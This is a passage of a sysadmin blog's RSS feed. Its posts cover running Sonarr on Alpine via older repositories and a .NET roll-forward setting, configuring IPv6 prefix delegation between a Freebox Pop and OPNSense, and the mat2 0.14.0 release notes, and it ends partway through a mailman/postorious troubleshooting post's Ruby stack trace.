&lt;span class="nv"&gt;@main319&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cdn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;alpinelinux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alpine&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="mf"&gt;.19&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;
&lt;span class="nv"&gt;@community319&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cdn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;alpinelinux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alpine&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="mf"&gt;.19&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;community&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Installing Sonarr can then be done with &lt;code&gt;apk add sonar@community319
sonar-openrc@community319&lt;/code&gt;, launched via &lt;code&gt;service sonarr start&lt;/code&gt;, and … it
crashes after a couple of seconds. Running &lt;code&gt;service -d sonarr start&lt;/code&gt; tells us
that the binary being launched is &lt;code&gt;/usr/lib/sonarr/bin/Sonarr&lt;/code&gt;, so let's see
what happens when we run it manually:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;~ $ /usr/lib/sonarr/bin/Sonarr&lt;/span&gt;
&lt;span class="go"&gt;You must install or update .NET to run this application.&lt;/span&gt;

&lt;span class="go"&gt;App: /usr/lib/sonarr/bin/Sonarr&lt;/span&gt;
&lt;span class="go"&gt;Architecture: x64&lt;/span&gt;
&lt;span class="go"&gt;Framework: &amp;#39;Microsoft.NETCore.App&amp;#39;, version &amp;#39;6.0.36&amp;#39; (x64)&lt;/span&gt;
&lt;span class="go"&gt;.NET location: /usr/lib/dotnet&lt;/span&gt;

&lt;span class="go"&gt;The following frameworks were found:&lt;/span&gt;
&lt;span class="go"&gt;  6.0.31 at [/usr/lib/dotnet/shared/Microsoft.NETCore.App]&lt;/span&gt;
&lt;span class="go"&gt;  8.0.22 at [/usr/lib/dotnet/shared/Microsoft.NETCore.App]&lt;/span&gt;

&lt;span class="go"&gt;Learn more:&lt;/span&gt;
&lt;span class="go"&gt;https://aka.ms/dotnet/app-launch-failed&lt;/span&gt;

&lt;span class="go"&gt;To install missing framework, download:&lt;/span&gt;
&lt;span class="go"&gt;https://aka.ms/dotnet-core-applaunch?framework=Microsoft.NETCore.App&amp;amp;framework_version=6.0.36&amp;amp;arch=x64&amp;amp;rid=alpine.3.23-x64&amp;amp;os=alpine&lt;/span&gt;
&lt;span class="go"&gt;~ $&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Alright, .NET version mismatch: we have 6.0.31 installed and the binary wants
6.0.36. The
&lt;a href="https://learn.microsoft.com/en-us/dotnet/core/versions/selection#framework-dependent-apps-roll-forward"&gt;&lt;code&gt;DOTNET_ROLL_FORWARD&lt;/code&gt;&lt;/a&gt;
environment variable can be used to make a binary run on newer version of
the runtime, but not an older one. While we can't use 6.0.31, we have 8.0.22
installed for the rest of the *arr stack, so let's give it a try. Adding 
&lt;code&gt;DOTNET_ROLL_FORWARD=LatestMajor&lt;/code&gt; followed by &lt;code&gt;export DOTNET_ROLL_FORWARD&lt;/code&gt;
in &lt;code&gt;/etc/init.d/sonarr&lt;/code&gt; does the trick, and Sonarr is now working, huzzah!&lt;/p&gt;
&lt;p&gt;Once &lt;a href="https://github.com/Sonarr/Sonarr/tree/v5-develop"&gt;Sonarr 5.X&lt;/a&gt; is
released, I'll simply remove the &lt;code&gt;@community319/@main@319&lt;/code&gt; lines from
&lt;code&gt;/etc/apk/repositories&lt;/code&gt; and run &lt;code&gt;apk update; apk upgrade&lt;/code&gt; to get the version
compiled for modern packaged .NET.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Thu, 04 Dec 2025 00:15:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2025-12-04:/b/running-the-packaged-arr-stack-on-alpine.html</guid><category>sysadmin</category></item><item><title>IPv6 with a Freebox Pop and OPNSense</title><link>https://dustri.org/b/ipv6-with-a-freebox-pop-and-opnsense.html</link><description>&lt;p&gt;Because the &lt;a href="https://free.fr/freebox/"&gt;Freebox Pop&lt;/a&gt; is &lt;s&gt;an underpowered piece
of crap&lt;/s&gt; quite weak when it comes to
&lt;a href="https://en.wikipedia.org/wiki/Network_address_translation"&gt;NAT&lt;/a&gt;'ing anything
above 100Mbps, I decided to get a proper machine and slap
&lt;a href="https://opnsense.org/"&gt;OPNSense&lt;/a&gt; on it: I'm paying for the whole fiber, I'm
going to use the whole fiber.&lt;/p&gt;
&lt;p&gt;IPv4 was trivial: &lt;code&gt;Firewall&lt;/code&gt; -&amp;gt; &lt;code&gt;NAT&lt;/code&gt; -&amp;gt; &lt;code&gt;Port Forward&lt;/code&gt;, and you're done. It
took me 5 minutes. &lt;a href="https://en.wikipedia.org/wiki/IPv6"&gt;IPv6&lt;/a&gt; very much not so,
partly because I don't have a clue about IPv6 (and let's be honest, network in
general), partly because it's an almost 30 years old pile of
designed-by-committee RFC.&lt;/p&gt;
&lt;p&gt;Amyway, the Freebox Pop is giving me seven &lt;code&gt;/64&lt;/code&gt; prefixes that I can &lt;a href="https://en.wikipedia.org/wiki/Prefix_delegation"&gt;freely
delegate&lt;/a&gt;, so for simplicity's
sake and because I'm a lazy punk, I:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;s&gt;waste&lt;/s&gt; use one for the network between the Freebox and the WAN
   interface of OPNSense.&lt;/li&gt;
&lt;li&gt;use a second one for the LAN&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It looks like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;+──────────+
│ Internet │
+──────────+
     │
     ▼
┌─────────┐
│ Freebox │
└─────────┘
     │      prefix A
     ▼
┌──────────┐
│ OPNSense │
└──────────┘
     │      prefix B
     ▼
  +─────+
  │ LAN │
  +─────+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Apparently, it's possible to not waste a prefix for the network between the
Freebox and the router, but in the spirit of modern times, I'm comfortable
wasting a significant amount of resources because I couldn't be bothered.&lt;/p&gt;
&lt;h1&gt;Freebox side&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;code&gt;http://mafreebox.freebox.fr&lt;/code&gt; in your browser&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Paramètres de la Freebox&lt;/code&gt; -&amp;gt; &lt;code&gt;Réseau Local: Mode Réseau&lt;/code&gt; -&amp;gt; &lt;code&gt;Bridge&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Open &lt;code&gt;http://mafreebox.freebox.fr&lt;/code&gt; in your browser&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Paramètres de la Freebox&lt;/code&gt; -&amp;gt; &lt;code&gt;Connexion Internet: Configuration IPv6&lt;/code&gt;&lt;ol&gt;
&lt;li&gt;Note the &lt;a href="https://en.wikipedia.org/wiki/Link-local_address"&gt;Local link address&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Note the first and second delegate prefixes, eg. &lt;code&gt;2a01:xxx:xxx:xxx1::&lt;/code&gt;
   and &lt;code&gt;2a01:xxx:xxx:xxx2::&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Disable the &lt;code&gt;IPv6 firewall&lt;/code&gt;, since it's dropping ~everything and can't
   be configured besides on/off.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;OPNSense side&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Open the admin interface&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Firewall&lt;/code&gt; -&amp;gt; &lt;code&gt;Settings&lt;/code&gt; -&amp;gt; &lt;code&gt;Advanced&lt;/code&gt; -&amp;gt; &lt;code&gt;Allow IPv6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Interfaces&lt;/code&gt; -&amp;gt; &lt;code&gt;Overview&lt;/code&gt; -&amp;gt; &lt;code&gt;WAN&lt;/code&gt; should contain an IPv6 starting with
   &lt;code&gt;fe80:&lt;/code&gt;: note it down. It's the Local link address of the WAN interface.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System&lt;/code&gt; -&amp;gt; &lt;code&gt;Gateway&lt;/code&gt; -&amp;gt; &lt;code&gt;Add&lt;/code&gt;:&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Name&lt;/code&gt;: FreeboxIPv6Gateway&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IP Address&lt;/code&gt;: IPv6 address of the Freebox in the first delegate prefix, &lt;code&gt;2a01:xxx:xxx:xxx1::1&lt;/code&gt; in our case&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Upstream gateway&lt;/code&gt;: tick the box&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Monitor IP&lt;/code&gt;: tick the box, if only to be warned/have logs &lt;s&gt;if&lt;/s&gt;
   when things go South&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Back to the Freebox side&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;code&gt;http://mafreebox.freebox.fr/&lt;/code&gt; in your browser&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Paramètres de la Freebox&lt;/code&gt; -&amp;gt; &lt;code&gt;Connexion Internet: Configuration IPv6&lt;/code&gt; -&amp;gt;
   &lt;code&gt;Délégation de prefixe&lt;/code&gt;: add the &lt;em&gt;Local link address of the WAN interface&lt;/em&gt;
   into the &lt;code&gt;Next Hop&lt;/code&gt; field for the first and second prefixes.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Back to the OPNSense side&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Interfaces&lt;/code&gt; -&amp;gt; &lt;code&gt;WAN&lt;/code&gt;:&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Generic configuration&lt;/code&gt; -&amp;gt; &lt;code&gt;IPv6 Configuration Type&lt;/code&gt;, set it to &lt;code&gt;Static IPv6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Static IPv6 configuration&lt;/code&gt; -&amp;gt; &lt;code&gt;IPv6 address&lt;/code&gt;, set it to any IPv6 address
   present in the first delegated prefix but the one ending in &lt;code&gt;:1&lt;/code&gt; since
   it's already used by the Freebox. I put &lt;code&gt;2a01:xxx:xxx:xxx1::2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IPv6 Upstream Gateway&lt;/code&gt;: put the gateway we created, FreeboxIPv6Gateway.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Interfaces&lt;/code&gt; -&amp;gt; &lt;code&gt;LAN&lt;/code&gt;:&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Generic configuration&lt;/code&gt; -&amp;gt; &lt;code&gt;IPv6 Configuration Type&lt;/code&gt;, set it to &lt;code&gt;Static IPv6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Static IPv6 configuration&lt;/code&gt; -&amp;gt; &lt;code&gt;IPv6 address&lt;/code&gt;, set it to any IPv6 address
   present in the second delegated prefix but the one ending in &lt;code&gt;:1&lt;/code&gt; since
   it's already used by the Freebox. I put &lt;code&gt;2a01:xxx:xxx:xxx2::2&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And now comes the salt: in IPv4, one would normally use &lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol"&gt;DHCP&lt;/a&gt;
to assign IP addresses. In IPv6, one can use &lt;a href="https://en.wikipedia.org/wiki/DHCPv6"&gt;DHCPv6&lt;/a&gt;
or &lt;a href="https://en.wikipedia.org/wiki/IPv6#Stateless_address_autoconfiguration_(SLAAC).
The former [isn't supported by Android](https://issuetracker.google.com/issues/36949085) and looks horrible
while the latter used to be a privacy shitshow, but somehow devolved into a
[complexity one](https://www.internetsociety.org/resources/deploy360/2014/privacy-extensions-for-ipv6-slaac/)
where clients are generating their ipv6 on their own, and then ask their
neighbours if it's already used on the network via Duplicate Address
Detection. Of course, since SLAAC doesn't provide DNS information, one can
used both SLAAC and DHCPv6-in-stateless-mod"&gt;SLAAC+RDNSS&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Anyway, I'm going with SLAAC only and hoping for the best.&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;code&gt;Services&lt;/code&gt; -&amp;gt; &lt;code&gt;Router advertisements&lt;/code&gt; -&amp;gt; &lt;code&gt;WAN&lt;/code&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Router Advertisements&lt;/code&gt; -&amp;gt; &lt;code&gt;Router Only&lt;/code&gt;, since I use a fixed IPv6 for
   the WAN interface of the router, and don't provide network access to
   anything else on this segment.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Advertise Default Gateway&lt;/code&gt;, tick the box.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Services&lt;/code&gt; -&amp;gt; &lt;code&gt;Router advertisements&lt;/code&gt; -&amp;gt; &lt;code&gt;LAN&lt;/code&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Router Advertisements&lt;/code&gt; -&amp;gt; &lt;code&gt;Stateless&lt;/code&gt;, and pray&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Advertise Default Gateway&lt;/code&gt;, tick the box.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Adversitse Routes&lt;/code&gt;, put the second prefix.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Another (mild) wave of saltiness: you need to punch holes into your firewall to
allow &lt;strong&gt;incoming traffic&lt;/strong&gt; for &lt;a href="https://en.wikipedia.org/wiki/ICMPv6"&gt;ICMPv6&lt;/a&gt;,
otherwise things might just break. Fear not, there is a &lt;a href="https://datatracker.ietf.org/doc/html/rfc4890"&gt;whole
RFC&lt;/a&gt; about what should normally
not be dropped, what will be dropped anyway, what a policy should be defined
for, and what should be dropped unless a good case can be made, both for
Transit Traffic and Local Configuration Traffic. At this point I just wanted
things to work, so I courageously just gave up and trusted OPNSense
"Automatically generated rules" to take care of this for me.&lt;/p&gt;
&lt;p&gt;Oh, and if you have things like Jellyfin, set the firewall to "conservative",
otherwise it'll randomly drop your websocket connections, and you'll
waste a whole afternoon debugging it.&lt;/p&gt;
&lt;!--
https://blog.vinishor.xyz/posts/mettre-en-place-ipv6-avec-une-freebox-et-opnsense.html
https://www.osnet.eu/en/node/752
https://lafibre.info/remplacer-freebox/tuto-freebox-pop-pfsense-ipv6-pop-player-oqee/
https://www.osnet.eu/fr/content/tutoriels/ipv6-sur-une-freebox-en-bridge-avec-opnsense-ou-pfsense
--&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Sun, 30 Nov 2025 15:00:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2025-11-30:/b/ipv6-with-a-freebox-pop-and-opnsense.html</guid><category>sysadmin</category></item><item><title>mat2 0.14.0</title><link>https://dustri.org/b/mat2-0140.html</link><description>&lt;p&gt;There is a new version of mat2:
&lt;a href="https://github.com/jvoisin/mat2/releases/tag/0.14.0"&gt;0.14.0&lt;/a&gt;, with a new feature and a
deprecation, to balance things out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add webp support&lt;/li&gt;
&lt;li&gt;Improve reliability&lt;/li&gt;
&lt;li&gt;Correctly handle PDF with weird filenames&lt;/li&gt;
&lt;li&gt;Improve epub support&lt;/li&gt;
&lt;li&gt;Improve MSOffice documents support&lt;/li&gt;
&lt;li&gt;Add Python 3.13 and 3.14 support&lt;/li&gt;
&lt;li&gt;Remove bubblewrap sandboxing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bubblewrap sandboxing was removed as it was a significant source of issues over
the years, was annoying to test in the continuous integration suite, didn't
provide significant security improvement besides mitigating possible command
injections in exiftool, and was best-effort anyway in the threat model.&lt;/p&gt;
&lt;p&gt;Another important change is that the main repository for mat2 moved from
&lt;a href="https://0xacab.org/jvoisin/mat2"&gt;0xacab&lt;/a&gt; to
&lt;a href="https://github.com/jvoisin/mat2"&gt;github&lt;/a&gt;, for multiple reasons. First, because
the web is a terrible place, 0xacab has to deal with abuses in various shapes
and forms, and the easiest way to mitigate it is to make it non-trivial to
register an account on the platform. Unfortunately, this makes it harder for
people to report issues, or to contribute to mat2. Second, running computers is
expensive, and I'd rather burn Microsoft's money than
&lt;a href="https://riseup.net"&gt;riseup&lt;/a&gt;'s one. Third, Gitlab is becoming bloated and
confusing, especially for such a small project as mat2. I'm not particularly
happy about the move, as I'd rather use/depend on non-profit owned/operated
infrastructure than an evil megacorp one, but it was a pragmatic decision.
Worse case, I moved it once, I can always move it somewhere else in the future
if needed.&lt;/p&gt;
&lt;p&gt;As usual, if you know some python help is
&lt;a href="https://github.com/jvoisin/mat2/issues"&gt;welcome&lt;/a&gt;.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Thu, 23 Oct 2025 15:30:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2025-10-23:/b/mat2-0140.html</guid><category>metadata</category></item><item><title>Fixing "'humanize' is not a registered tag library" on postorious</title><link>https://dustri.org/b/fixing-humanize-is-not-a-registered-tag-library-on-postorious.html</link><description>&lt;p&gt;At &lt;a href="https://nos-oignons.net/%C3%80_propos/index.en.html"&gt;Nos oignons&lt;/a&gt;, we're
running &lt;a href="https://nos-oignons.net/Services/index.en.html"&gt;Tor exit nodes&lt;/a&gt;, but
also a handful of services, like our website, some git repositories, some
lightweight monitoring, … but also internal and external mailing lists. For the
latter, we're using
&lt;a href="https://wiki.list.org/"&gt;mailman3&lt;/a&gt;/&lt;a href="https://wiki.list.org/HyperKitty"&gt;hyperkitty&lt;/a&gt;
with &lt;a href="https://schleuder.org/"&gt;schleuder&lt;/a&gt; on top of it, making it an unholy pile
of python, ruby, gpg and email shenanigans that the sysadmin team has to
prevent from falling over.&lt;/p&gt;
&lt;p&gt;Unfortunately, teaching sand to think was a mistake, and anything running
on a computer will invariably fail at some point, mailing lists are no
exceptions. Today I got the following email on the &lt;code&gt;schleuder-admins@&lt;/code&gt; list:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;Net&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;ReadTimeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;TCPSocket&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;closed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.3.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;protocol&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;229&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;rbuf_fill&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/3.3.0/net/protocol.rb:199:in `readuntil&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.3.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;protocol&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;209&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;readline&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/gems/3.3.0/gems/net-smtp-0.5.1/lib/net/smtp.rb:1017:in `recv_response&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.3.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.5.1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;979&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/gems/3.3.0/gems/net-smtp-0.5.1/lib/net/smtp.rb:1027:in `critical&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.3.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.5.1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;965&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/gems/3.3.0/gems/net-smtp-0.5.1/lib/net/smtp.rb:799:in `block in send_message&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.3.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.5.1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;926&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;rcptto_list&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/gems/3.3.0/gems/net-smtp-0.5.1/lib/net/smtp.rb:799:in `send_message&amp;#39;&lt;/span&gt;
